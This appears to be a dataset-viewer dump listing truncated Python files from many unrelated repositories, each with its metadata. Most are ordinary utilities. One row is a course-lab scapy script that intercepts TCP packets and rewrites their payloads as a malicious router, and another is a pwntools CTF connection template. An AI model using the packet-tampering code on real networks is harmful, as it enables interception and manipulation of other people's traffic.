seq_id
stringlengths
4
11
text
stringlengths
113
2.92M
repo_name
stringlengths
4
125
sub_path
stringlengths
3
214
file_name
stringlengths
3
160
file_ext
stringclasses
18 values
file_size_in_byte
int64
113
2.92M
program_lang
stringclasses
1 value
lang
stringclasses
93 values
doc_type
stringclasses
1 value
stars
int64
0
179k
dataset
stringclasses
3 values
pt
stringclasses
78 values
23230602110
import ui from PIL import Image as ImageP import io import random mainWindow = ui.View() mainWindow.name = 'Image Conversion' mainWindow.background_color = 'white' mainWindow.width = 700 #ui.get_screen_size().width mainWindow.height = 700 #ui.get_screen_size().height def pil2ui(pil_img): with io.BytesIO() as buffer...
WhittlinRich/python
ImageConversion.py
ImageConversion.py
py
955
python
en
code
0
github-code
6
71935407547
import os import numpy as np from sklearn.metrics import confusion_matrix import pandas as pd import matplotlib.pyplot as plt import seaborn as sns from tqdm import tqdm from glob import glob import ffmpeg import warnings warnings.filterwarnings('ignore') classes = {'простой': 0, 'вынужденная': 1, ...
vitalymegabyte/koblik_family
train_scripts/split_train_val.py
split_train_val.py
py
1,745
python
en
code
0
github-code
6
25987362528
import argparse import dataclasses import subprocess import sys from datetime import datetime from typing import List from testcase import get_cli_base_cmd from testcase import Result base_cmd = get_cli_base_cmd() @dataclasses.dataclass class CleanupItem: name: str list_cmd: str del_cmd: str items: ...
cloudtruth/cloudtruth-cli
integration-tests/cleanup.py
cleanup.py
py
4,892
python
en
code
4
github-code
6
22432578680
import pandas as pd from openpyxl.styles import PatternFill def rgb_to_hex(rgb): return '%02x%02x%02x' % rgb def darken(hex_code, shade): shade = shade/10 #add something to convert shade number ie 9 actually equals 10% darker RGB = tuple(int(hex_code[i:i + 2], 16) for i in (0, 2, 4)) ...
mbgoodin/ColorShadeGenerator
main.py
main.py
py
6,351
python
en
code
0
github-code
6
10929065262
from os import system system('clear') lista_membros = list() familia = dict() # familia = [{'nome': 'Joemar', 'idade': 60, 'cor dos olhos': 'Castanhos'}, # {'nome': 'Alessandra', 'idade': 50, 'cor dos olhos': 'Pretos'}, # {'nome': 'Jean', 'idade': 26, 'cor dos olhos': 'Pretos'}, # ...
ThallesCansi/Programacao-para-Web
1º Bimestre/Capítulo 01 - Fundamentos da Linguagem/Exercício 1.29.py
Exercício 1.29.py
py
999
python
pt
code
0
github-code
6
21397176119
import os import statistics import sys import httpx from dotenv import load_dotenv load_dotenv(sys.argv[1]) url = os.environ['url'] attempts = int(os.environ.get('attempts', 100)) payload = os.environ.get('payload') auth_header = os.environ.get('auth_header', 'X-Racetrack-Auth') auth_token = os.environ.get('auth_to...
TheRacetrack/racetrack
tests/performance/response_time_test.py
response_time_test.py
py
1,757
python
en
code
27
github-code
6
73502078587
#from threading import Thread from bs4 import BeautifulSoup import pandas as pd #import os #import sys from selenium import webdriver #from selenium.webdriver.common.proxy import * from time import gmtime, strftime, sleep #import sqlite3 #from queue import Queue #import re import requests cities_frame = pd.read_html('...
erelin6613/crawler
file_companies.py
file_companies.py
py
3,325
python
en
code
0
github-code
6
24301910796
import os import re from glob import glob import pandas as pd import numpy as np import matplotlib.pyplot as plt from IPython import get_ipython POSSIBLE_LABELS = 'yes no up down left right on off stop go silence unknown'.split() id2name = {i: name for i, name in enumerate(POSSIBLE_LABELS)} name2id = {name: i for i, ...
105318102/Eric-Liu
test.py
test.py
py
3,536
python
en
code
0
github-code
6
13818867772
""" Demo of custom tick-labels with user-defined rotation. """ import math import matplotlib.pyplot as plt import matplotlib.cm as cm import numpy as np from matplotlib.widgets import Slider, Button, RadioButtons z = int(input("how long you wanna go? ")) n1 = 2 n2 = int(input("another number ")) xcor = [] ycor =[] lc...
fastaro/FFimages
polar.py
polar.py
py
1,243
python
en
code
0
github-code
6
28806070886
from __future__ import annotations import copy import datetime import importlib.util import json import logging import os import random import statistics from abc import ABCMeta from abc import abstractmethod from typing import IO from typing import TYPE_CHECKING from typing import Any from typing import Callable from...
coddingtonbear/jira-select
jira_select/plugin.py
plugin.py
py
10,204
python
en
code
22
github-code
6
18016139374
from scapy.all import * MAC_A = "02:42:0a:09:00:05" IP_B = "192.168.60.5" def spoof_pkt(pkt): newpkt = IP(bytes(pkt[IP])) del(newpkt.chksum) del(newpkt[TCP].payload) del(newpkt[TCP].chksum) if pkt[TCP].payload: data = pkt[TCP].payload.load newdata = data.replace(b'seedlabs', b...
kimnamhyeon0112/2023-2_Information_Security
Week4_Prac02_Malicious_Router.py
Week4_Prac02_Malicious_Router.py
py
518
python
en
code
0
github-code
6
16543533799
from durable.lang import * from flask import request from scripts import REDataHeader as Header from scripts import REResponseCode as ResponseCode from scripts.QuestionDomain.QuestionTree import QuestionTree import json STAGE_INIT = "1" STAGE_VALIDATION = "2" STAGE_VERIFICATION = "3" STAGE_PROCESS = "4" STAGE_TERMINAT...
Grimmii/TrainChatBot
src/scripts/RE_flow_QnA.py
RE_flow_QnA.py
py
1,923
python
en
code
0
github-code
6
5092362437
# For taking space seperated integer variable inputs. def invr(): return(map(int, input().split())) def sum_of_digits(n): s = 0 while n > 0: s += n % 10 n = n // 10 return s N, A, B = invr() S = 0 for i in range(1, N+1): s = sum_of_digits(i) if s >= A and s <= B: S +...
sudiptob2/atcoder-training
Easy 100/51.some sums.py
51.some sums.py
py
333
python
en
code
2
github-code
6
27595046406
from PyQt5.QtGui import QFont from PyQt5.QtWidgets import ( QHBoxLayout, QListWidgetItem, QCheckBox, QGridLayout, QWidget, QComboBox, QListWidget, ) from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas import matplotlib import matplotlib.pyplot as plt from code_SR...
GB127/SRC-statistics
plots/save_plot.py
save_plot.py
py
2,948
python
en
code
0
github-code
6
41666390681
names = [] with open('employees.txt', 'r') as file: for line in file: name = line.strip() names.append(name) with open('template.txt', 'r') as file: template = file.read() import os if not os.path.exists('christmasCards'): os.mkdir('christmasCards') for name in names: card_content = t...
milanasokolova/christmasCards
christmas.py
christmas.py
py
442
python
en
code
0
github-code
6
1584215151
from django.contrib import admin from django.core.urlresolvers import reverse from django.http import (HttpResponseRedirect, HttpResponseBadRequest, HttpResponseNotAllowed, HttpResponse, HttpResponseForbidden) from django.shortcuts import render_to_response from django.template.context import RequestContext from d...
beniwohli/django-minitrue
minitrue/admin.py
admin.py
py
2,968
python
en
code
4
github-code
6
11654464179
import numpy as np import matplotlib.pyplot as plt import sys import datetime import time import os from scipy import optimize import yaml from matplotlib import rcParams import matplotlib.patches as mpatches from matplotlib import cm from matplotlib.colors import ListedColormap, LinearSegmentedColormap imp...
sqvarfort/modified-gravity-optomech
force_plot_alpha_lambda.py
force_plot_alpha_lambda.py
py
5,239
python
en
code
0
github-code
6
16974087058
#!/usr/bin/python3 from pwn import * # Telnet sh = remote("ip", 30888) # SSH: # sh = ssh('user', 'ip', password='pass', port=22) # Exec # process('./exec') # conn.sendlineafter(b"> ", b"1") sh.sendline(b'ls') flag = sh.recvline(timeout=5) log.success(flag) sh.interactive() sh.close()
sawyerf/HackSheet
scripts/pwn-connect.py
pwn-connect.py
py
289
python
en
code
30
github-code
6
71379589627
#ContinuousQuantumWalkSearch from numpy import * from matplotlib.pyplot import * import matplotlib from scipy import linalg import sys from numpy import kron from numpy.core.umath import absolute matplotlib.rcParams.update({'font.size': 15}) rcParams['figure.figsize'] = 11, 8 def init(N): psi0 = ones((N,1))/ sqrt...
JaimePSantos/Dissertation-Tex-Code
Coding/Python Simulations/ContinuousQW/Search/runSearch.py
runSearch.py
py
4,819
python
en
code
0
github-code
6
23231610787
from rest_framework import generics from rest_framework.permissions import IsAuthenticated from nav_client.serializers import ( DeviceSerializer, GeozoneSerializer, NavMtIdSerializer) from nav_client.models import (Device, SyncDate, GeoZone, ...
alldevic/route-log
nav_client/views.py
views.py
py
4,160
python
en
code
0
github-code
6
25418145080
from sys import stdin from itertools import permutations line = list(map(int, stdin.readline().split())) N = line[0] M = line[1] arr = [x for x in range(1, N + 1)] per = list(permutations(arr, M)) for p in per: print(" ".join(map(str, p)))
jaehui327/Algo
백준/Silver/15649. N과 M (1)/N과 M (1).py
N과 M (1).py
py
245
python
en
code
0
github-code
6
32097638349
# -*- coding: utf-8 -*- # This Source Code Form is subject to the terms of the Mozilla Public License, # v. 2.0. If a copy of the MPL was not distributed with this file, You can # obtain one at http://mozilla.org/MPL/2.0/. import ctypes import logging import os import pathlib import sys from ..common.pool import Poo...
MozillaSecurity/fuzzing-tc
fuzzing_tc/pool_launch/launcher.py
launcher.py
py
3,020
python
en
code
2
github-code
6
21353899395
from typing import List, Optional from copy import deepcopy class Solution: def findLadders(self, beginWord: str, endWord: str, wordList: List[str]) -> List[List[str]]: n = len(wordList) slen = len(wordList[0]) wordList = set(wordList) if endWord not in wordList: return...
Alex-Beng/ojs
FuckLeetcode/126. 单词接龙 II.py
126. 单词接龙 II.py
py
2,135
python
en
code
0
github-code
6
8337411728
import os import sys, shutil def setup_run(rundir, inflow, outflow, update1, initial1, update2, initial2): os.chdir(rundir) shutil.copy('avida.cfg', 'avida.cfg.bak') shutil.copy('environment.cfg', 'environment.cfg.bak') shutil.copy('events.cfg', 'events.cfg.bak') # modify environment.cfg fp = ...
ctb/beacon
ltee/yuanjie-create-runs.py
yuanjie-create-runs.py
py
867
python
en
code
2
github-code
6
42493961152
#!/usr/bin/env python3 """Program for testing constrained sequence alignm""" import subprocess from pprint import pprint import json import argparse import sys import string import random import datetime from constrain_align import run_blast AMINO_ACIDS = "GAVLIPFYWSTCMNQKRHDE" NUM_PRINT = 50 def main(): """Main...
westelizabeth/conSequences
test_script.py
test_script.py
py
3,714
python
en
code
0
github-code
6
18603320645
from aiogram import Bot, types from aiogram.dispatcher import Dispatcher from aiogram.dispatcher import FSMContext from aiogram.utils import executor from aiogram.dispatcher.filters.state import State, StatesGroup from aiogram.contrib.fsm_storage.memory import MemoryStorage import logging import sqlite3 from ...
pytera895143242/nasar3rep
nasar3bot.py
nasar3bot.py
py
23,352
python
ru
code
0
github-code
6
1363896081
import datetime from typing import TYPE_CHECKING, Any, Dict, List, Type, TypeVar, Union from attrs import define as _attrs_define from attrs import field as _attrs_field from dateutil.parser import isoparse from ..types import UNSET, Unset if TYPE_CHECKING: from ..models.actor_v2_response_body import ActorV2Resp...
expobrain/python-incidentio-client
incident_io_client/models/incident_update_v2_response_body.py
incident_update_v2_response_body.py
py
6,464
python
en
code
4
github-code
6
16119646284
# 언어 : Python, (성공/실패) : 1/1, 메모리 : 30840KB, 시간 : 72ms C = int(input()) for i in range(C): N = list(map(int, input().split())) avg = sum(N[1:]) / N[0] count = 0 for i in N[1:]: if (avg < i): count += 1 print("{:.3f}%".format((count / N[0]) * 100))
sujeong11/Algorithm
기초/1차원 배열/4344_평균은 넘겠지.py
4344_평균은 넘겠지.py
py
315
python
ko
code
0
github-code
6
10381696055
''' Question 8.2 ''' import math import numpy as np import matplotlib.pyplot as plt ## set up for initial parameters k1 = 100 k2 = 600 k3 = 150 ## define four functions of rate of changes of E, S ES and P def fun_E (E, S, ES, P): return -k1*E*S + (k2+k3)*ES def fun_S (E, S, ES, P): return ...
Sguwj/NTU-Test-Question
Answer to Question 2/Code for Question 2.py
Code for Question 2.py
py
3,042
python
en
code
0
github-code
6
71969383869
from kfp.components import InputPath, OutputPath def SchemaGen( statistics_path: InputPath('ExampleStatistics'), schema_path: OutputPath('Schema'), infer_feature_shape: bool = None, # ? False ): """Constructs a SchemaGen component. Args: statistics: A Channel of `ExampleStatistics` type (re...
kubeflow/kfp-tekton-backend
components/tfx/SchemaGen/component.py
component.py
py
3,687
python
en
code
8
github-code
6
24957689753
class Solution(object): def canFinish(self, numCourses, prerequisites): """ :type numCourses: int :type prerequisites: List[List[int]] :rtype: bool """ adjList = [list() for _ in range(numCourses)] degree = [0] * numCourses for i in r...
MrBmikhael/LeetCodeProblems
207-course-schedule/207-course-schedule.py
207-course-schedule.py
py
867
python
en
code
0
github-code
6
41935110854
import sys input = sys.stdin.readline def promising(row): # 같은 열이면 안 되고, 대각선상에 있어도 안 된다. for i in range(row): if board[row] == board[i] or row - i == abs(board[row] - board[i]): return 0 return 1 def dfs(row): global ans # 마지막 행까지 수행하고 여기까지 오면 찾기 완료 if row == N: ...
hyungJinn/pythonStudy
BAEKJOON/Backtracking/9663_N-Queen.py
9663_N-Queen.py
py
609
python
ko
code
0
github-code
6
73816206588
def int_trapezoidal(function, a, b, m): '''Trapezna formula za rjesavanje odredenog intervala.''' h = (b - a)/m #korak integracija f_a = function(a) #vrijednost funkcije u pocetnoj tocki f_b = function(b) #vrijednost funkcije u krajnjoj tocki rez = (f_a + f_b)/2 k = 1 while k < m: ...
FabjanJozic/MMF3
Predavanje8_integracija/integral.py
integral.py
py
868
python
hr
code
0
github-code
6
15365101221
import io # For Data Lake from hdfs import InsecureClient # For Data Warehouse from pyhive import hive import pandas as pd df_source = pd.read_csv(r'output/news.csv') df_source['News'] = df_source['News'].str.replace(r',', '') # Define HDFS interface hdfs_interface = InsecureClient('http://localhost:50070') hdfs_in...
Danesh-WQD180067/WQD7005-Group
data_mining/warehousing_news.py
warehousing_news.py
py
1,754
python
en
code
0
github-code
6
14065976550
from django.db import models # Create your models here. PRIORITY = (('danger', 'high'),('info','normal'),('success','low')) # (保存されるデータ, 表示データ) class TodoModel(models.Model): title = models.CharField(max_length=100) memo = models.TextField() priority = models.CharField( max_length=50, cho...
takuya2816/Todo
todoapp/models.py
models.py
py
540
python
en
code
0
github-code
6
38967021451
# -*- coding: utf-8 -*- # Define your item pipelines here # # Don't forget to add your pipeline to the ITEM_PIPELINES setting # See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html from scrapy.pipelines.images import ImagesPipeline import sqlite3 import scrapy import re from scrapy.exceptions import DropItem...
zaoyubo/desk_zol
desk_zol/pipelines.py
pipelines.py
py
2,321
python
en
code
0
github-code
6
17403072234
#https://pyformat.info/ "Hello {}, my name is {}".format('john', 'mike') #'Hello john, my name is mike'. "{1}, {0}".format('world', 'Hello') #'Hello, world' "{greeting}, {}".format('world', greeting='Hello') #'Hello, world' data = {'first': 'Hodor', 'last': 'Hodor!'} '{first} {last}'.format(**data) #'Hodor Hodor!'...
vdatasci/Python
ETL/Format.py
Format.py
py
447
python
en
code
1
github-code
6
11615085313
import os def detector(file): with open(file,'r') as f: filecontent=f.read() if 'binod' in filecontent.lower(): print(f"Binod is here in file {file}") if __name__ == '__main__': for i in os.listdir(): if i.endswith('py'): detector(i)
Coder-X27/Python-CWH
CWH Playlist Problems/07-A particular word detector.py
07-A particular word detector.py
py
282
python
en
code
1
github-code
6
16592394886
import cv2 import numpy as np import importlib from ProcessImage import PreProcessImages if __name__ == '__main__': filename = '../assets/models/Rectangle.png' dim = (600, 600) img = cv2.resize(cv2.imread(filename), dim) # prepare main algorithm algo = PreProcessImages() # wrapped image ...
DesaleF/TRDP_AR
src/test-algo.py
test-algo.py
py
544
python
en
code
0
github-code
6
4685056088
import argparse import configparser import importlib import logging import pathlib import time import telegram from telegram.ext import Updater from telegram.utils.helpers import escape_markdown from handlers.message_handlers import UploadNewTorrent from helpers import format_speed PARSER = argparse.ArgumentParser(...
dolohow/tdpt
tdpt/__main__.py
__main__.py
py
4,387
python
en
code
33
github-code
6
17883527707
import json import os from click.testing import CliRunner from demisto_sdk.__main__ import main from demisto_sdk.tests.test_files.validate_integration_test_valid_types import ( DASHBOARD, GENERIC_MODULE, UNIFIED_GENERIC_MODULE) from TestSuite.test_tools import ChangeCWD UNIFY_CMD = "unify" class TestGenericMod...
AdouniH/demisto-sdk
demisto_sdk/tests/integration_tests/unify_integration_test.py
unify_integration_test.py
py
1,653
python
en
code
null
github-code
6
71576261627
import os import numpy as np import pandas as pd import torch from ...StableDiffuser import StableDiffuser def edit_output(activation, name): activation[:] = 0.0 return activation def main(inpath, outpath, device): diffuser = StableDiffuser(scheduler='LMS').to(torch.device(device)).half() lay...
JadenFiotto-Kaufman/thesis
thesis/experiments/cr/cr.py
cr.py
py
1,304
python
en
code
0
github-code
6
18322570607
# coding: utf-8 import pprint import six class ExchangeRateModel(object): field_types = { 'from': 'str', 'to': 'str', 'rate': 'float' } attribute_map = { 'from_str': 'from', 'to': 'to', 'rate': 'rate' } def __init__(self, from_str=None, to=None, ...
UniCryptoLab/UniPaymentClient.Python
UniPaymentClient/unipayment/models/exchange_rate_model.py
exchange_rate_model.py
py
2,391
python
en
code
0
github-code
6
32791878864
#!/usr/bin/python3 from dataclasses import dataclass import csv import json from operator import itemgetter class ViaFile: def __init__(self, filename, object_type, image_filename = "", has_header = True): header = has_header if len(image_filename) > 0: filter_image = Tru...
mark-bell-tna/QSR
read_via.py
read_via.py
py
2,662
python
en
code
0
github-code
6
24643551555
import mcpi.minecraft as minecraft import mcpi.block as block mc = minecraft.Minecraft.create() mc.postToChat("Go find the block") from random import randint p = mc.player.getTilePos() x = p.x + randint(-20, 20) y = p.y + randint(-5, 5) z = p.z + randint(-20, 20) mc.setBlock(x, y, z, block.GOLD_BLOCK.id) from gpioze...
fpizzardo/physicalComputing
findablock.py
findablock.py
py
960
python
en
code
0
github-code
6
25261775377
import json import mimetypes import re from dataclasses import dataclass from datetime import datetime from os import walk from os.path import exists, join, splitext from typing import Dict, Optional from urllib.parse import urlparse import requests from bs4 import BeautifulSoup from dataclasses_json import dataclass_...
evoth/blog
scripts/get_link_preview_data.py
get_link_preview_data.py
py
4,523
python
en
code
0
github-code
6
5290873792
from gi.repository import Gtk, GObject from .gi_composites import GtkTemplate from .KanbanListView import KanbanListView @GtkTemplate(ui='/org/gnome/kanban/ui/board.ui') class BoardView(Gtk.Box): __gtype_name__ = 'BoardView' __gsignals__ = { "signal-task-move-up": (GObject.SIGNAL_ACTION, None, ()), ...
pawel-jakubowski/kanban
src/view/BoardView.py
BoardView.py
py
4,582
python
en
code
6
github-code
6
34170958465
#Alejandro_Reyes_InClassExercise6 #Alejandro Reyes #3/9/15 #This program will emulate a vendng machine #It will provide the user with a menu from which to make a selection def main(): # Initializing variables selection = "" cost = 0.0 payment = 0.0 change = 0.0 menu () # User will make ...
alejandroereyes/vending_machine_py
vending_machine.py
vending_machine.py
py
3,652
python
en
code
0
github-code
6
34012996402
import argparse import scipy from scipy import ndimage import cv2 import numpy as np import sys import json import torch from torch.autograd import Variable import torchvision.models as models import torch.nn.functional as F import torch.backends.cudnn as cudnn from torch.utils import data # from network...
jianpengz/EfficientSeg
evaluate.py
evaluate.py
py
14,181
python
en
code
3
github-code
6
18642608045
import numpy as np import pandas as pd import matplotlib.pyplot as plt plt.rcParams['font.sans-serif']=['SimHei'] #解决中文乱码 plt.figure(figsize=(6,9)) #调节图形大小 labels = ['XL','L','M','S'] #定义标签 sizes = [461,253,789,660] #每块值 colors = ['red','yellowgreen','cyan','yellow'] #每块颜色定义 explode = (0,0,0,0.1) #将某一块分割出来,值越大分割出的间隙越...
RiddMa/ScrapyTest
Visualization2/LXY/hw/b.py
b.py
py
879
python
en
code
0
github-code
6
2361991036
from googleapiclient.discovery import build import os import pickle from google_auth_oauthlib.flow import InstalledAppFlow from google.auth.transport.requests import Request from googleapiclient.discovery import build from datetime import date # To use application: # - must add email address for testing in Google ...
KentV12/playlistSaver
main.py
main.py
py
3,487
python
en
code
0
github-code
6
551185141
import numpy as np import pandas as pd from datetime import datetime import matplotlib.pyplot as plt def convtime(year,doy,hour,min): d = datetime.strptime(str(doy),'%j') month = d.month day = d.day dt = datetime(int(year),int(month),int(day),int(hour),int(min)) return dt df = pd.read_csv('./Ou...
Urban-Meteorology-Reading/SUEWS
Test/BaseRun/2018a/test.py
test.py
py
1,072
python
en
code
6
github-code
6
38453486962
from itertools import combinations from collections import deque n = int(input()) ppl = list(map(int,input().split())) totalPpl = sum(ppl) graph = [[] for _ in range(n+1)] for i in range(n): graph[i+1] = list(map(int,input().split()))[1:] def bfs(L): picked = [0]*(n+1) for i in L: picked[i] = 1 ...
LightPotato99/baekjoon
math/combination/gerymander.py
gerymander.py
py
1,036
python
en
code
0
github-code
6
34861920007
from dataclasses import dataclass from typing import Optional import django_tables2 as tables from django.conf import settings from django.contrib.auth.models import AnonymousUser from django.db.models import DateField, DateTimeField from django.template import Context, Template from django.urls import reverse from dj...
Status-Page/Status-Page
statuspage/statuspage/tables/columns.py
columns.py
py
13,718
python
en
code
45
github-code
6
5694311921
import torch import torch.nn as nn from Model2.BottomUp import Encoder from Model2.TopDown import Decoder import torchsummary class FeaturePyramidNetwork(nn.Module): def __init__(self, n_classes=2): super(FeaturePyramidNetwork, self).__init__() self.encoder = Encoder() sel...
dmdm2002/FPN
Model/FPN.py
FPN.py
py
995
python
en
code
2
github-code
6
18023144134
import subprocess import os def collect_logs(start_time, end_time): # 'log show' 명령어를 사용하여 로그 수집 command = [ 'log', 'show', '--start', start_time, '--end', end_time ] result = subprocess.run(command, capture_output=True, text=True) if result.returncode == 0: ...
KIMJOONSIG/Reboot3
Mac/Eventlog.py
Eventlog.py
py
1,232
python
en
code
0
github-code
6
6518786122
#!/usr/bin/env python import datetime from elasticsearch import Elasticsearch from jobs.lib import Configuration from jobs.lib import Send_Alert local_config = { "minutes": 30, "index": ["workstations-*", "servers-*"], "max_results": 1000, "severity": "medium" } # Query goes here search_query = { "...
0xbcf/elasticsearch_siem
jobs/PowershellFileWrite.py
PowershellFileWrite.py
py
1,669
python
en
code
0
github-code
6
9293795541
# Definition for a binary tree node # class TreeNode: # def __init__(self, x): # self.val = x # self.left = None # self.right = None class Solution: # @param root, a tree node # @return a list of integers def preorderTraversal(self, root): if not root: retur...
rioshen/Problems
leetcode/python/binary_tree_preorder_traversal.py
binary_tree_preorder_traversal.py
py
865
python
en
code
1
github-code
6
9434899492
""" 在这里添加各种自定义的断言,断言失败抛出AssertionError就OK。 在assertion.py中你可以添加更多更丰富的断言,响应断言、日志断言、数据库断言等等,请自行封装。 """ def assertHTTPCode(response, code_list=None): res_code = response.status_code if not code_list: code_list = [200] if res_code not in code_list: raise AssertionError('响应code不在列表中!'...
XiaoDjan/Test_framework
Test_framework/utils/assertion.py
assertion.py
py
543
python
zh
code
1
github-code
6
71233413949
# -*- coding: utf-8 -*- """ Created on Fri Mar 1 11:14:40 2019 @author: AndrewW """ # A block cipher transforms a fixed-sized block (usually 8 or 16 bytes) of # plaintext into ciphertext. But we almost never want to transform a single # block; we encrypt irregularly-sized messages. # One way we account...
drewadwade/CTFs
Matasano Crypto Challenge/Set 2/Implement PKCS#7 padding.py
Implement PKCS#7 padding.py
py
1,173
python
en
code
1
github-code
6
8910492018
import pytest, subprocess, os from pathlib import Path COMMAND = ['python', 'framextract', 'tests/FT.mp4'] def capture(command): proc = subprocess.run(command, capture_output=True) return proc.stdout, proc.stderr, proc.returncode def test_framextract_no_param(): _, err, exitcode = capture(COMMAND[:-1]) ...
FirmaTechnologies/framextract
tests/test_cli.py
test_cli.py
py
1,699
python
en
code
1
github-code
6
6323481356
from typing import * import asyncio import logging from datetime import datetime, timedelta, time, date import traceback import lightbulb from lightbulb.commands.base import OptionModifier as OM import hikari import apscheduler from apscheduler.triggers.interval import IntervalTrigger from humanize import naturaldelt...
zp33dy/inu
inu/ext/tasks/anime_corner.py
anime_corner.py
py
2,507
python
en
code
1
github-code
6
41932079330
import numpy as np from scipy import misc import pandas as pd import os # 1) Examen ## 2) Crear un vector de ceros de tamaño 10 vector_zeros_2 = np.zeros(10) print('2) --> ', vector_zeros_2) ## 3) Crear un vector de ceros de tamaño 10 y el de la posicion 5 sea igual a 1 vector_zeros_3 = np.zeros(10) vector_zeros_3...
2020-A-JS-GR1/py-velasquez-revelo-jefferson-david
examen/examen.py
examen.py
py
5,945
python
es
code
0
github-code
6
70056771389
# week 8, binary search # today's plan # 1: binary_search # 2: ex 6 (solution) # 3: quiz 3 (solution) def binary_search(L, s): '''(list of int, int) -> bool Return True iff s is an element of L, otherwise False REQ: L must be sorted in increasing order >>> binary_search([-5, 3, 4, 5, 7], 4) ...
BoZhaoUT/Teaching
Winter_2016_CSCA48_Intro_to_Computer_Science_II/Week_8_Binary_Search/week_8.py
week_8.py
py
6,132
python
en
code
2
github-code
6
20233659704
# Importamos las dependencias del cálculo de las similitudes from metric.PearsonCorrelation import PearsonCorrelation from metric.CosineDistance import CosineDistance from metric.EuclideanDistance import EuclideanDistance # Importamos las dependencias del cálculo de la predicción from prediction.SimplePrediction imp...
facu2002/RecommenderSystem
src/main.py
main.py
py
4,738
python
en
code
0
github-code
6
36684709665
import pickle import numpy as np import os with open('data/sst2-sentence/neg_db', 'rb') as f: negation_database = pickle.load(f) class Dataset(object): def __init__(self, dir, filename, rev_vocab): self.dir = dir self.filename = filename self.rev_vocab = rev_vocab with open(...
martiansideofthemoon/logic-rules-sentiment
code/analysis/data-stats.py
data-stats.py
py
2,928
python
en
code
32
github-code
6
73993683069
from django.urls import path from django.contrib.auth.decorators import login_required from . import views urlpatterns = [ path('all_lessons/', views.AllLessonsView.as_view(), name='all_lessons'), path('video_player/<int:id>', views.VideoPlayer.as_view(), name='video_player'), path('subsc...
johnrearden/strings_attached
video_lessons/urls.py
urls.py
py
720
python
en
code
0
github-code
6
15767420313
import numpy as np import pandas as pd from sklearn.model_selection import train_test_split from sklearn.svm import SVC from sklearn.metrics import accuracy_score, classification_report, confusion_matrix # Завантаження даних data = pd.read_csv("data_multivar_nb.txt", header=None, names=["Feature1", "Feature2", "Class"...
IvanPaliy/A.I.-Lab-1-IPZ-Palii
LR_1_task_6.py
LR_1_task_6.py
py
946
python
en
code
0
github-code
6
17365595109
import tkinter as tk from tkinter import messagebox def print_board(board): for row in board: print(" | ".join(row)) print("-" * 9) def check_winner(board, player): for row in board: if all(cell == player for cell in row): return True for col in range(3): if al...
lag25/SmartTTT-MinMax-Bot
tic_tac_toe_gui.py
tic_tac_toe_gui.py
py
4,097
python
en
code
0
github-code
6
36703125478
from django.shortcuts import get_object_or_404 from rest_framework.decorators import api_view from rest_framework.response import Response from rest_framework import status from .models import Client, Mailing, Message from .serializers import MailingSerializer, ClientSerializer, MailingMessagesSerializer from .service...
novelsk/notification_service
app/service/views.py
views.py
py
4,985
python
en
code
0
github-code
6
2636855121
from codigo import Email, borrar, limpiar_inbox def test_los_atributos_se_guardan_correctamente(): m = Email("espada nueva!", "hay una espada nueva") assert m.asunto == "espada nueva!" assert m.texto == "hay una espada nueva" def test_mail_sano_no_genera_valor_de_spam(): m = Email("espada nueva!", ...
ucseiw-team/catedra
ejemplo_testing_2022/test_codigo.py
test_codigo.py
py
1,891
python
es
code
5
github-code
6
28074571183
import string ''' This program takes a text file and gives the total length of the character in the file along with the frequency of each alphabet and as well as most and least common 10 alphabets''' """Character frequency""" '''Total number of characters''' def character_analysis(filename): hist = {} file =...
asifbux/Python-Course-ENSF-592
A03_1_char_frequency.py
A03_1_char_frequency.py
py
1,829
python
en
code
0
github-code
6
4461100140
# Licensed under a MIT style license - see LICENSE.txt """MUSE-PHANGS plotting routines """ __authors__ = "Eric Emsellem" __copyright__ = "(c) 2017, ESO + CRAL" __license__ = "MIT License" __contact__ = " <eric.emsellem@eso.org>" # This module provides some functions to plot and check the data reduction # # Er...
emsellem/pymusepipe
src/pymusepipe/graph_pipe.py
graph_pipe.py
py
10,892
python
en
code
7
github-code
6
70322602108
from src.admin.repository import AdminRepo from src.admin.schemas import AdminUserData from src.user.constants import SubscriptionType class AdminService: def __init__(self, admin_repo: AdminRepo): self.admin_repo = admin_repo async def get_users( self, subscription_type: Subscription...
ttq186/DressUp
src/admin/service.py
service.py
py
716
python
en
code
0
github-code
6
17216033842
import setuptools with open("README.md", "r", encoding="utf-8") as fh: long_description = fh.read() setuptools.setup( name='wutools', version='0.0.3', author='Jason Yunger', author_email='jason.yunger@gmail.com', description='Testing installation of Package', long_description=long_descript...
jyunger/wutest
setup.py
setup.py
py
679
python
en
code
0
github-code
6
40128878134
#!/usr/bin/env python3 import sys sys.setrecursionlimit(10**6) INF = 10 ** 9 + 1 # sys.maxsize # float("inf") MOD = 10 ** 9 + 7 def debug(*x): print(*x, file=sys.stderr) def solve(SOLVE_PARAMS): pass def main(): N, M = map(int, input().split()) is_head = [True] * N from collections import def...
nishio/atcoder
abc177/d2.py
d2.py
py
1,871
python
en
code
1
github-code
6
19054038098
import sys import time import os import tempfile import shutil import contextlib import numpy as np import h5py from . import __version__ as tool_version import stag.align as align def load_genome_DB(database, tool_version, verbose): dirpath = tempfile.mkdtemp() shutil.unpack_archive(database, dirpath, "gzt...
zellerlab/stag
stag/databases.py
databases.py
py
8,159
python
en
code
7
github-code
6
73510567227
class Solution: def largestLocal(self, grid: List[List[int]]) -> List[List[int]]: ans = [] row = len(grid) col = len(grid[0]) for i in range(row-2): temp = [] for j in range(col-2): maxi = 0 for k in range(i,i+3): ...
yonaSisay/a2sv-competitive-programming
2373-largest-local-values-in-a-matrix/2373-largest-local-values-in-a-matrix.py
2373-largest-local-values-in-a-matrix.py
py
721
python
en
code
0
github-code
6
11250679083
#%% import numpy as np import os from sklearn.feature_extraction.text import CountVectorizer from scipy.sparse import csr_matrix from scipy.sparse import coo_matrix import numba as nb import time import cupy as cp #%% 讀取檔案 queriesPath ='C:\\Users\\User\\Desktop\\NTUST\\IR\\data\\ntust-ir-2020_hw4_v2\\queries' docsPath...
ericdddddd/NTUST_Information-Retrieval
Hw4/Hw4-sparse_matrix.py
Hw4-sparse_matrix.py
py
5,824
python
en
code
0
github-code
6
25009122511
from osv import fields,osv from osv import orm import pooler def test_prof(self, cr, uid, prof_id, pid, answers_ids): #return True if the partner pid fetch the profile rule prof_id ids_to_check = pooler.get_pool(cr.dbname).get('segmentation.profile').get_parents(cr, uid, [prof_id]) [yes_answers, no_answers] =...
factorlibre/openerp-extra-6.1
segmentation/segmentation.py
segmentation.py
py
5,561
python
en
code
9
github-code
6
